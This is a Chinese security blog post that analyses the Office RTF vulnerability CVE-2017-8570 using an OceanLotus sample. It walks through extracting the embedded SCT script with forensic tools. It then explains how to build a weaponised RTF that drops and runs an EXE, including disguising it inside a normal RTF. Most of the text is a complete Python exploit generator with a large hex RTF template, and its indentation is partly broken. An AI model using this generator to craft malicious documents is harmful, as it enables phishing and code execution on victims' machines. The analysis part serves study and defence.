CVE-2017-8570及利用样本分析

注意事项:
1.本文由Gcow安全团队复眼小组的ERFZE师傅原创,未经许可禁止转载
2.本文一共1100多字,13张图,预计阅读时间8分钟
3.文中提及的方法仅供参考学习,若用在实际情况而造成的损失,本团队以及本公众号概不负责
4.本篇文章的漏洞原理不是重点,主要在于利用.所以再本篇文章中提到的漏洞原理的篇幅较少
5.若本篇文章中存在说得有错误或者模糊的环节,希望各位看官可以在后台留言或者评论指出,本小组不胜感激!

0x01 漏洞概述:

CVE-2017-8570实际上是一逻辑漏洞，该漏洞利用了OLE中Composite Moniker对象在组合File Moniker对象的过程中，未做安全性检查，以致可以直接运行File Moniker对象指定的ScriptletFile(.sct)脚本文件。

0x02 样本分析:

以海莲花组织某样本作为示例。

MD5:72bebba3542bd86dc68a36fda5dbae76

使用rtfdump工具-f O选项过滤RTF文档中的OLE对象：

之后结合rtfobj分析结果判断其.sct脚本文件位于第213号对象中：

通过-s 213 -H进行验证：

之后使用输出重定向将结果保存到一文本文件中：

最后由awk命令结合正则表达式将其中的脚本内容提取出来：

注：此时可以使用Notepad++或者Sublime对脚本内容进行排版处理，以便阅读：

其功能为执行释放到临时目录下的VBS脚本文件。

0x03 样本构造:

部分样本是将EXE文件以Package对象的形式包含在RTF文档内：

之后通过SCT脚本去执行该EXE：

笔者针对此情况对原有POC进行了改造(完整内容见文末)：

如此一来，便可将EXE文件以Package对象的形式嵌入到RTF文档中。

生成的RTF文档可以添加到正常RTF文档末尾}之前以进行伪装：

笔者用以测试的SCT脚本如下：

```
<?XML version="1.0"?>

```

其中write.exe是C:\Windows\System32目录下的正常写字板程序。效果如图：

0x04 POC:

``` python
import argparse
import os
import struct
import random
import string

class Package(object):
"""
Packager spec based on:
https://phishme.com/rtf-malware-delivery/

Dropping method by Haifei Li: 
https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

Found being used itw by @MalwareParty:
We have recently found samples in the wild using a new method involving CVE-11882 that effectively makes it a dropper.
Apologies if someone has already put this out but we haven't seen it and believe it is important.@blu3_team @ImPureMotion
— MalwareParty (@MalwareParty) December 21, 2017
"""
def __init__(self, filename,rand):
    if rand == True:
        self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct"
    else:
        self.filename = filename
    self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)

    self.orgpath = self.fakepath
    self.datapath = self.fakepath

    with open(filename,'rb') as f:
        self.data = f.read()

    self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
    self.OBJ_TAIL = r"0105000000000000}}"

def get_object_header(self):
    OLEVersion = '01050000'
    FormatID = '02000000'
    ClassName = 'Package'
    szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
    szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')

    return ''.join([
        OLEVersion,
        FormatID,
        szClassName,
        ClassName.encode('hex') + '00',
        '00000000',
        '00000000',
        szPackageData,
    ])

def get_package_data(self):  
    StreamHeader = '0200'
    Label = self.filename.encode('hex') + '00'
    OrgPath = self.orgpath.encode('hex') + '00'
    UType = '00000300'
    DataPath = self.datapath.encode('hex') + '00'
    DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
    DataLen = struct.pack("<I", len(self.data)).encode('hex')
    Data = self.data.encode('hex')
    OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
    OrgPathW = self.datapath.encode('utf-16le').encode('hex')
    LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
    LabelW = self.filename.encode('utf-16le').encode('hex')
    DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
    DefPathW = self.orgpath.encode('utf-16le').encode('hex')

    return ''.join([
        StreamHeader,
        Label,
        OrgPath,
        UType,
        DataPathLen,
        DataPath,
        DataLen,
        Data,
        OrgPathWLen,
        OrgPathW,
        LabelLen,
        LabelW,
        DefPathWLen,
        DefPathW,
    ])

def build_package(self):
    return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL

Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html

EXPLOIT_RTF = r"""{{\rt{0}{1}{{\object\objautlink\objupdate{{*\objclass Word.Document.8}}{{*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{2}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{3}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""

def build_exploit(sct,exe):
sct_p = Package(sct,rand=True)
sct_package = sct_p.build_package()
exe_p = Package(exe,rand=False)
exe_package = exe_p.build_package()
return EXPLOIT_RTF.format(exe_package,sct_package, sct_p.filename.encode('hex'), sct_p.filename.encode('utf-16le').encode('hex'))

if name == 'main':
parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")
parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
parser.add_argument("-e", "--exe", help="Exe file", required=True)
parser.add_argument('-o', "--output", help="Output file for RTF", required=True)

args = parser.parse_args()

with open(args.output, 'w') as f:
    f.write(build_exploit(args.sct,args.exe))    
print "[+] RTF file written to: {}".format(args.output)

```

0x05 参考链接:

• 需要用于多行搜索的正则表达式（grep）(https://www.it-swarm.dev/zh/regex/%E9%9C%80%E8%A6%81%E7%94%A8%E4%BA%8E%E5%A4%9A%E8%A1%8C%E6%90%9C%E7%B4%A2%E7%9A%84%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%EF%BC%88grep%EF%BC%89/970994208/)

• CVE-2017-8570首次公开的野外样本及漏洞分析(https://paper.seebug.org/520)

• Analysis of a CVE-2017-0199 Malicious RTF Document(https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/)

• CVE-2017-8570(https://github.com/rxwx/CVE-2017-8570)